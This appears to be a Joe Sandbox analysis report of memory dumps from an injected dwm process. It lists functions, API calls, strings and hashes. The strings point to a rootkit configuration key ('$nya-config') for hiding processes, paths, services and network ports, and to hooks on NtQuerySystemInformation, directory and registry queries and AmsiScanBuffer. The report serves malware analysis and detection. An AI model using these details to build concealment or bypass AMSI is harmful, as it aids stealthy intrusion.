Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: 25316a16912ca12bc714b53722a03786effec4f62070619cf2aaf5c36f98a599
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: BAD01225B31540C3F300DB11D8597957338F398701FD04009E98D92694DF7CC259CB61

Function 000002BAAEE0F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000002BAAEE0F390

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: f7fd4c512c6ef310e7b18dd7c690a35b185d764d70a9a2e2a72a94665c0beb33
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: 44D01225731540D3F710DF51D849B957339F398701FD04009E98982A98CF7CC699CB61

Function 000002BAAEE6F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000002BAAEE6F390

Memory Dump Source

Source File: 0000000E.00000002.2406821651.000002BAAEE61000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE60000, based on PE: true

Associated: 0000000E.00000002.2406712710.000002BAAEE60000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406937121.000002BAAEE75000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2407031430.000002BAAEE80000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2407274554.000002BAAEE82000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2407383423.000002BAAEE89000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee60000_dwm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: f1b8af5bd91885cd0305abdc11aacc5b5dbe0f2f4fc016c1b1ab739c1f334080
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: D8D01225731580D3F310DB11D8497A57339F398701FE04005E98982A98CF7CC659CB61

Non-executed Functions

Function 000002BAAED92FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000002BAAED93094
lstrlenW.KERNEL32 ref: 000002BAAED932BE

Part of subcall function 000002BAAED91A30: OpenProcess.KERNEL32 ref: 000002BAAED91A56
Part of subcall function 000002BAAED91A30: K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAED91A74
Part of subcall function 000002BAAED91A30: PathFindFileNameW.SHLWAPI ref: 000002BAAED91A83
Part of subcall function 000002BAAED91A30: lstrlenW.KERNEL32 ref: 000002BAAED91A8F
Part of subcall function 000002BAAED91A30: StrCpyW.SHLWAPI ref: 000002BAAED91AA2
Part of subcall function 000002BAAED91A30: CloseHandle.KERNEL32 ref: 000002BAAED91AB0

GetProcAddress.KERNEL32 ref: 000002BAAED930A9

Part of subcall function 000002BAAED93F88: StrCmpNIW.SHLWAPI(?,?,?,000002BAAED9272F), ref: 000002BAAED93FA0

StrCmpNIW.SHLWAPI ref: 000002BAAED930EC
lstrlenW.KERNEL32 ref: 000002BAAED93214

Strings

ntdll.dll, xrefs: 000002BAAED9308D
\Device\Nsi, xrefs: 000002BAAED930DF
NtQueryObject, xrefs: 000002BAAED9309F

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: bdca8bda7c5dfb7893c2609220d437f944bdb23d298c147b6434803ef09f334d
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 3BB1A07221069082EB699F65D9087AAB3B5F744F84F64501AEE8D53F94FF36CD40C362

Function 000002BAAED984B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002BAAED984CC
RtlCaptureContext.NTDLL ref: 000002BAAED984F9
RtlLookupFunctionEntry.NTDLL ref: 000002BAAED98513
RtlVirtualUnwind.NTDLL ref: 000002BAAED98554
IsDebuggerPresent.KERNEL32 ref: 000002BAAED985A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAED985C5
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAED985D0

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 155aa4d9f456daa5ea3c7b8e8ead6d52db64bd2f92368d4ad293a470bb00e7c6
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 5431A176204B809AEB60DF60E8443EE7375F784748F54442ADB8E57B98EF78C658C721

Function 000002BAAED9CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002BAAED9CE0B
RtlLookupFunctionEntry.NTDLL ref: 000002BAAED9CE23
RtlVirtualUnwind.NTDLL ref: 000002BAAED9CE5E
IsDebuggerPresent.KERNEL32 ref: 000002BAAED9CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAED9CEA1
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAED9CEAC

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 661ed4b192b4d2d055d4a3645d28c793987b4ae472b21c420f8d8299d9bf4ac3
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 5B416E36214F8086EB60DF25E84839E73B4F7887A4F600615EADD47B98EF78C655CB11

Function 000002BAAEE0CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002BAAEE0CE0B
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEE0CE23
RtlVirtualUnwind.NTDLL ref: 000002BAAEE0CE5E
IsDebuggerPresent.KERNEL32 ref: 000002BAAEE0CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEE0CEA1
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEE0CEAC

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 37c71513f5cf5599a1d775cccc2396235419aa10ddcf9e95c3dd03e7f94f023b
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: A8416D36214B8096EB60CF65E8443AE73B4F788764F600125EADD47F98DF38C599CB11

Function 000002BAAED9DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 000002BAAED9DB99
FindNextFileW.KERNEL32 ref: 000002BAAED9DCCF
FindClose.KERNEL32 ref: 000002BAAED9DD0F
FindClose.KERNEL32 ref: 000002BAAED9DD3B

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: 7a7c8da5176cc6c09b3aa039bc97ae577ecaa5b117708b78e80320ac1fa80808
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 9DA1E32270468049FB209B75ED883AD7FB1E785B9CF244115DEDD2BE99EB3AC841C712

Function 000002BAAEE0DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 000002BAAEE0DB99
FindNextFileW.KERNEL32 ref: 000002BAAEE0DCCF
FindClose.KERNEL32 ref: 000002BAAEE0DD0F
FindClose.KERNEL32 ref: 000002BAAEE0DD3B

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: c1f12f0b514c343254ac31443cd378a1cf3a90a2b5d0826bba6c205aebb85a73
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: F8A116227447816AFBB0DB75E8883AD7BB1E781B94F244115DEC8A7F99DB38C481C712

Function 000002BAAEE01724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEE0172F
HeapAlloc.KERNEL32 ref: 000002BAAEE0173E

Part of subcall function 000002BAAEE01264: GetProcessHeap.KERNEL32 ref: 000002BAAEE0126A
Part of subcall function 000002BAAEE01264: HeapAlloc.KERNEL32 ref: 000002BAAEE01279
Part of subcall function 000002BAAEE01264: GetProcessHeap.KERNEL32 ref: 000002BAAEE01293
Part of subcall function 000002BAAEE01264: HeapAlloc.KERNEL32 ref: 000002BAAEE012A4

Part of subcall function 000002BAAEE01000: GetProcessHeap.KERNEL32 ref: 000002BAAEE01006
Part of subcall function 000002BAAEE01000: HeapAlloc.KERNEL32 ref: 000002BAAEE01015
Part of subcall function 000002BAAEE01000: GetProcessHeap.KERNEL32 ref: 000002BAAEE01028
Part of subcall function 000002BAAEE01000: HeapAlloc.KERNEL32 ref: 000002BAAEE01037

RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE017AE
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE017DB
RegCloseKey.ADVAPI32 ref: 000002BAAEE017F5
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE01815
RegCloseKey.ADVAPI32 ref: 000002BAAEE01830
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE01850
RegCloseKey.ADVAPI32 ref: 000002BAAEE0186B
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE0188B
RegCloseKey.ADVAPI32 ref: 000002BAAEE018A6
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE018C6
RegCloseKey.ADVAPI32 ref: 000002BAAEE018E1
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE01901
RegCloseKey.ADVAPI32 ref: 000002BAAEE0191C
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE0193C
RegCloseKey.ADVAPI32 ref: 000002BAAEE01957
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEE01977
RegCloseKey.ADVAPI32 ref: 000002BAAEE01992
RegCloseKey.ADVAPI32 ref: 000002BAAEE0199C

Part of subcall function 000002BAAEE012B8: RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEE01315
Part of subcall function 000002BAAEE012B8: GetProcessHeap.KERNEL32 ref: 000002BAAEE01323
Part of subcall function 000002BAAEE012B8: HeapAlloc.KERNEL32 ref: 000002BAAEE01334
Part of subcall function 000002BAAEE012B8: RegEnumValueW.ADVAPI32 ref: 000002BAAEE01393
Part of subcall function 000002BAAEE012B8: GetProcessHeap.KERNEL32 ref: 000002BAAEE013DB
Part of subcall function 000002BAAEE012B8: HeapAlloc.KERNEL32 ref: 000002BAAEE013E9
Part of subcall function 000002BAAEE012B8: GetProcessHeap.KERNEL32 ref: 000002BAAEE01406
Part of subcall function 000002BAAEE012B8: HeapFree.KERNEL32 ref: 000002BAAEE01414
Part of subcall function 000002BAAEE012B8: lstrlenW.KERNEL32 ref: 000002BAAEE0141D
Part of subcall function 000002BAAEE012B8: GetProcessHeap.KERNEL32 ref: 000002BAAEE0142B
Part of subcall function 000002BAAEE012B8: HeapAlloc.KERNEL32 ref: 000002BAAEE01439

Strings

pid, xrefs: 000002BAAEE0180E
service_names, xrefs: 000002BAAEE018BF
process_names, xrefs: 000002BAAEE01849
SOFTWARE\$nya-config, xrefs: 000002BAAEE0178E
paths, xrefs: 000002BAAEE01884
startup, xrefs: 000002BAAEE017D1
tcp_remote, xrefs: 000002BAAEE01935
tcp_local, xrefs: 000002BAAEE018FA
udp, xrefs: 000002BAAEE01970

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: bd11025053fb7aa7a53168d0ab28a33b478d506817012eb9481df5ff4a85e8ef
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 24713C26310B50A6EB70EF65E89869C33B5FB94B88F601115DD8D97F68DF38C584C361

Function 000002BAAEE01E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAEE01E7F

Part of subcall function 000002BAAEE022A8: GetModuleHandleA.KERNEL32(?,?,?,000002BAAEE01EB1), ref: 000002BAAEE022C0
Part of subcall function 000002BAAEE022A8: GetProcAddress.KERNEL32(?,?,?,000002BAAEE01EB1), ref: 000002BAAEE022D1

CreateThread.KERNEL32 ref: 000002BAAEE02043
TlsAlloc.KERNEL32 ref: 000002BAAEE02049
TlsAlloc.KERNEL32 ref: 000002BAAEE02055
TlsAlloc.KERNEL32 ref: 000002BAAEE02061
TlsAlloc.KERNEL32 ref: 000002BAAEE0206D
TlsAlloc.KERNEL32 ref: 000002BAAEE02079
TlsAlloc.KERNEL32 ref: 000002BAAEE02085

Strings

pdh.dll, xrefs: 000002BAAEE01FD7, 000002BAAEE01FF8
advapi32.dll, xrefs: 000002BAAEE01F57, 000002BAAEE01F78
NtResumeThread, xrefs: 000002BAAEE01EC2
EnumServicesStatusExW, xrefs: 000002BAAEE01F71, 000002BAAEE01F92
NtEnumerateValueKey, xrefs: 000002BAAEE01F36
amsi.dll, xrefs: 000002BAAEE02019
EnumServiceGroupW, xrefs: 000002BAAEE01F50
NtEnumerateKey, xrefs: 000002BAAEE01F19
ntdll.dll, xrefs: 000002BAAEE01E8D
NtQueryDirectoryFile, xrefs: 000002BAAEE01EDF
PdhGetFormattedCounterArrayW, xrefs: 000002BAAEE01FF1
sechost.dll, xrefs: 000002BAAEE01F99
AmsiScanBuffer, xrefs: 000002BAAEE02012
NtQueryDirectoryFileEx, xrefs: 000002BAAEE01EFC
PdhGetRawCounterArrayW, xrefs: 000002BAAEE01FD0
NtQuerySystemInformation, xrefs: 000002BAAEE01EA5
NtDeviceIoControlFile, xrefs: 000002BAAEE01FB6

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: cebaff3c61d899f97e1bf93c5b96be8170e2f5278e10bac2761a40080f80a2ee
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: D951C164140A0AB6EB69EFA8EC4E7D43371B758344FA4052394C952E76DF3C869AC373

Function 000002BAAED912B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAED91315
GetProcessHeap.KERNEL32 ref: 000002BAAED91323
HeapAlloc.KERNEL32 ref: 000002BAAED91334
RegEnumValueW.ADVAPI32 ref: 000002BAAED91393

Part of subcall function 000002BAAED91530: StrCmpIW.SHLWAPI ref: 000002BAAED91561

GetProcessHeap.KERNEL32 ref: 000002BAAED913DB
HeapAlloc.KERNEL32 ref: 000002BAAED913E9
GetProcessHeap.KERNEL32 ref: 000002BAAED91406
HeapFree.KERNEL32 ref: 000002BAAED91414
lstrlenW.KERNEL32 ref: 000002BAAED9141D
GetProcessHeap.KERNEL32 ref: 000002BAAED9142B
HeapAlloc.KERNEL32 ref: 000002BAAED91439
StrCpyW.SHLWAPI ref: 000002BAAED9145B
GetProcessHeap.KERNEL32 ref: 000002BAAED91472
HeapFree.KERNEL32 ref: 000002BAAED91480

Strings

d, xrefs: 000002BAAED91356

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 875b6c273a972ce80b51597fc12170985c1e8e6eea07ffb0aadac7a29460f4cc
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 1C516D72210B849AE724DF62E84836AB7B2F788F98F544524DE8E07B58EF3CC559C711

Function 000002BAAEE012B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEE01315
GetProcessHeap.KERNEL32 ref: 000002BAAEE01323
HeapAlloc.KERNEL32 ref: 000002BAAEE01334
RegEnumValueW.ADVAPI32 ref: 000002BAAEE01393

Part of subcall function 000002BAAEE01530: StrCmpIW.SHLWAPI ref: 000002BAAEE01561

GetProcessHeap.KERNEL32 ref: 000002BAAEE013DB
HeapAlloc.KERNEL32 ref: 000002BAAEE013E9
GetProcessHeap.KERNEL32 ref: 000002BAAEE01406
HeapFree.KERNEL32 ref: 000002BAAEE01414
lstrlenW.KERNEL32 ref: 000002BAAEE0141D
GetProcessHeap.KERNEL32 ref: 000002BAAEE0142B
HeapAlloc.KERNEL32 ref: 000002BAAEE01439
StrCpyW.SHLWAPI ref: 000002BAAEE0145B
GetProcessHeap.KERNEL32 ref: 000002BAAEE01472
HeapFree.KERNEL32 ref: 000002BAAEE01480

Strings

d, xrefs: 000002BAAEE01356

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: a067508f51625b2c2bae80ebe518ec66c5eea82c160fa1096d00fd055a8bd0a7
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 46515E32210B84AAE765DF62E44835A77B2F798FD8F544124DE8A07B68DF3CC089C711

Function 000002BAAED933A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000002BAAED933FD
GetProcessHeap.KERNEL32 ref: 000002BAAED93412
HeapAlloc.KERNEL32 ref: 000002BAAED93420
PdhGetCounterInfoW.PDH ref: 000002BAAED93436
StrCmpW.SHLWAPI ref: 000002BAAED9344B

Part of subcall function 000002BAAED93950: StrCmpNW.SHLWAPI ref: 000002BAAED93972
Part of subcall function 000002BAAED93950: StrStrW.SHLWAPI ref: 000002BAAED93990
